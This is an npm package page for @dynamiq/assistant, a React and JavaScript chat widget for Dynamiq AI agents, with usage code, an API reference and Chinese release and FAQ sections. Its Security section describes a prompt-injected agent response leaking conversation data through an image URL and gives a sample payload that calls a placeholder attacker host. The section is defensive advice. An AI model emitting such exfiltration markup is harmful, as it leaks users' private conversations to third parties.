@dynamiq/assistant

中文文档
1.12.0发布于 2026/10/27Apache-2.0TypeScriptESM + CJS近 30 天下载 2047

A chat widget library for React and vanilla JavaScript

原始使用文档
文档目录18 节
  1. ✨ About
  2. 🚀 Features
  3. 📦 Installation
  4. 🔧 Setup
  5. 💻 Usage
  6. React
  7. Vanilla JavaScript
  8. 🎨 Widget Preview
  9. 📚 API Reference
  10. Props
  11. Events
  12. Chat history
  13. 🔒 Security
  14. 🤝 Contributing
  15. Development
  16. 📄 License
  17. 🔗 Links
  18. 🌐 Connect with Us
Dynamiq Assistant

Dynamiq Assistant

A powerful chat widget library for AI agents - Built for React and vanilla JavaScript

npm version npm downloads License

Documentation • Features • Installation • Usage • Contributing

Website LinkedIn Twitter


✨ About

dynamiq-assistant allows you to seamlessly integrate AI agents into your applications through customizable chat widgets. Built specifically for agentic AI experiences, it provides React and vanilla JavaScript components that connect directly to your Dynamiq-powered AI agents.

Dynamiq is an orchestration framework for agentic AI and LLM applications, enabling businesses to build, deploy, and manage intelligent AI agents at scale.

🚀 Features

  • 🤖 AI Agent Integration - Purpose-built for connecting to Dynamiq AI agents
  • 📱 Cross-Platform Support - Works with React and vanilla JavaScript
  • 🎨 Customizable UI - Fully customizable appearance with theme support
  • 📡 Streaming Support - Real-time streaming responses from AI agents
  • 📁 File Upload - Enable AI agents to process images, PDFs, and documents
  • 🎯 Flexible Positioning - Position the agent widget anywhere on your page
  • 🔧 Event Handlers - Handle agent feedback, actions, and responses
  • 📊 Vega Chart Support - AI agents can render data visualizations seamlessly

📦 Installation

npm install @dynamiq/assistant

Or using yarn:

yarn add @dynamiq/assistant

🔧 Setup

To use @dynamiq/assistant, first navigate to your Dynamiq deployment:

  1. Go to Deployments and ensure Endpoint Authorization is disabled (see Security for what this means)
  2. Click on the Integration tab
  3. Switch to the Chat Widget menu item
  4. Copy your unique API URL
Dynamiq App Integration

💻 Usage

React

import { DynamiqAssistant } from '@dynamiq/assistant/react';

const App = () => {
  return (
    <DynamiqAssistant
      title="Dynamiq Assistant"
      placeholder="Type your message..."
      position="bottom-right"
      api={{
        url: '<YOUR_API_URL>',
        streaming: true,
      }}
      allowFileUpload={true}
      maxFileSize={10 * 1024 * 1024} // 10MB
      acceptedFileTypes="image/*,.pdf,.doc,.docx,.txt"
      params={{
        userId: '123',
        sessionId: '234',
        userName: 'John Doe',
        language: 'en',
      }}
      prompts={[
        { icon: '💬', text: 'What documents are needed for the loan?' },
        {
          icon: <FontAwesomeIcon icon={faUser} />,
          text: 'What is the maximum loan amount?',
        },
      ]}
      footerText={
        'Powered by <a href="https://getdynamiq.ai" target="_blank">Dynamiq</a>'
      }
    />
  );
};

Vanilla JavaScript

ESM Module

import { DynamiqAssistant } from '@dynamiq/assistant/vanilla';

const assistant = new DynamiqAssistant('#dynamiq-assistant-container', {
  title: 'Dynamiq Assistant',
  placeholder: 'Type your message...',
  position: 'bottom-left',
  api: {
    url: '<YOUR_API_URL>',
    streaming: true,
  },
  allowFileUpload: false,
  maxFileSize: 5 * 1024 * 1024, // 5MB
  acceptedFileTypes: 'image/*,.pdf',
});

Script Tag

<script src="https://cdn.jsdelivr.net/npm/@dynamiq/assistant@latest/dist/index.browser.js"></script>
<script>
  const assistant = new dynamiq.DynamiqAssistant(
    '#dynamiq-assistant-container',
    {
      title: 'Dynamiq Assistant',
      placeholder: 'Type your message...',
      position: 'bottom-left',
      api: {
        url: '<YOUR_API_URL>',
        streaming: true,
      },
    }
  );
</script>

🎨 Widget Preview

Your assistant will appear as an elegant chat widget on your page:

Widget Preview

📚 API Reference

Props

NameTypeDescription
titlestring | ReactNodeThe title of the assistant. Can be string or ReactNode.
placeholderstringThe placeholder text of the chat input.
welcomeTitlestringThe title of the welcome screen.
welcomeSubtitlestringThe subtitle of the welcome screen.
positionstringThe position of the assistant. Can be bottom-right, bottom-left, top-right, or top-left.
api.urlstringThe URL of the assistant endpoint.
api.streamingbooleanWhether to enable response streaming.
allowFileUploadbooleanWhether to allow file uploads.
maxFileSizenumberThe maximum file size for file uploads in bytes.
acceptedFileTypesstringThe accepted file types for file uploads.
paramsobjectThe parameters to pass to the assistant input.
params.userIdstringThe user ID. By default a random ID that is kept in localStorage, so history survives reloads.
params.sessionIdstringThe session ID. By default crypto.randomUUID().
toggleButtonstringThe ID of the button to toggle the assistant.
promptsarrayThe prompts to show in the assistant.
prompts.iconstring | ReactNodeThe icon to show in the prompt.
prompts.textstringThe text to show in the prompt.
theme.primaryColorstringThe primary color of the assistant.
theme.secondaryColorstringThe secondary color of the assistant.
theme.fontFamilystringThe font family of the assistant.
allowFullScreenbooleanWhether to show the full screen button.
footerTextstringThe text to show in the footer.
poweredBystringThe text to show in the powered by section.
humanSupportstringThe text to show in the human support section.
intermediateStreamingbooleanWhether to show the intermediate steps if they are available. By default true.
hideCloseButtonbooleanWhether to hide close button. By default false.
fullScreenbooleanWhether to open chat in full screen. By default false.
openbooleanWhether to open chat on page load. By default false.
allowedResourceOriginsstring[]Origins that bot messages may load images and chart data from. Same-origin and data: URLs are always allowed; ['*'] allows any origin. By default ['*']. Recommended: [] or a list of trusted origins (see Security).

Events

NameDescription
onFeedbackThe callback function to handle the feedback.
onImageBlockThe callback function to handle image blocks.
onLinkThe callback function to handle links.
onNewChatThe callback function to handle new chat.
onPromptSendThe callback function to handle prompt sending.
onChatDeleteThe callback function to handle chat deletion.
onChatOpenThe callback function to handle open chat
onChatCloseThe callback function to handle close chat

Chat history

Chats are stored in the browser's localStorage and shown in the history panel. Clear them when the user logs out, especially on shared devices:

import { clearChatHistory } from '@dynamiq/assistant/react'; // or '@dynamiq/assistant/vanilla'

clearChatHistory();

With the vanilla widget you can also call widget.clearHistory(), which additionally resets the open chat.

🔒 Security

  • The endpoint is public. With Endpoint Authorization disabled, anyone who finds the API URL in your page can call the agent directly. Don't put secrets in api.headers, since they are shipped to every visitor. For production, consider proxying requests through your own backend, which can authenticate users and apply rate limits.
  • Bot messages are sanitized. Markdown from the agent is rendered through DOMPurify, links only allow http(s)/mailto and open in a new tab, and charts run without eval (compatible with a CSP that has no 'unsafe-eval').
  • Restrict remote resources. By default, images and chart data in bot messages may load from any origin. A prompt-injected response could use that to leak conversation data through an image URL (e.g. ![](https://attacker/?q=...)). Set allowedResourceOrigins to [] (same-origin only) or to the origins your agent really uses. url() references in inline styles and SVG attributes, and srcset, are always removed.
  • Your own HTML options are not sanitized. title, footerText, poweredBy, humanSupport and prompts[].icon are inserted as HTML. Only pass trusted content.

🤝 Contributing

We welcome contributions! Please see our Contributing Guide for details on how to get started.

Development

# Install dependencies
npm install

# Run development server
npm run dev

# Build the library
npm run build

# Run tests
npm run test

# Lint code
npm run lint

📄 License

This project is licensed under the Apache License 2.0 - see the LICENSE file for details.

🌐 Connect with Us

Dynamiq is the operating platform for agentic AI applications. We're building the future of AI orchestration.

Website LinkedIn Twitter

GitHub Organization

版本与发布记录

@dynamiq/assistant 共发布 62 个版本,首次发布于 2025/03/31;过去 12 个月发布了 3 个版本。

版本发布日期距今
1.12.0latest2026/10/2718 天前
1.11.142026/10/2222 天前
1.11.132026/01/239 个月前
1.11.122025/09/231.1 年前
1.11.112025/09/221.1 年前
1.11.102025/09/121.2 年前

其他发布通道:next → 1.1.0-next.2。

关于 @dynamiq/assistant 的常见问题

@dynamiq/assistant 是什么?

A chat widget library for React and vanilla JavaScript

如何安装 @dynamiq/assistant?

在项目目录运行 npm install @dynamiq/assistant,或使用 pnpm add / yarn add / bun add。它还需要宿主项目提供 peer 依赖:react(>=16.8.0)、react-dom(>=16.8.0)。npm 7 及以上与 pnpm 8 及以上默认会自动安装必需的 peer 依赖,Yarn 需要手动安装。

@dynamiq/assistant 支持 TypeScript 吗?

支持。包内自带 TypeScript 类型声明(package.json 声明了 types 入口),安装后即可获得类型提示,无需再安装 @types 包。

@dynamiq/assistant 支持 ESM 还是 CommonJS?

同时提供 ES Module 与 CommonJS 入口,import 和 require() 都可以使用,打包工具会自动选择合适的版本。

@dynamiq/assistant 可以商用吗?

@dynamiq/assistant 使用 Apache-2.0 许可。宽松许可:允许商业使用、修改和再分发,并附带明确的专利授权;分发时需保留许可与 NOTICE 文件,修改过的文件要注明改动。以上为概括,不构成法律意见,请以许可原文为准。

@dynamiq/assistant 的下载量有多少?

根据 npm 官方下载统计,@dynamiq/assistant 在 2026/10/13 – 2026/11/11 这 30 天内被下载 2,047 次,日均约 68 次。下载量会把 CI 构建、镜像同步和作为其他包依赖的安装一并计入,适合横向比较热度,不能直接等同于使用人数。

@dynamiq/assistant 还在维护吗?

最新版本 1.12.0 发布于 2026/10/27(18 天前);至今共发布 62 个版本,其中过去 12 个月发布了 3 个;首次发布于 2025/03/31。发布频率只是参考信号:功能稳定的工具可能很少需要更新,建议结合源码仓库的 issue 和提交记录判断。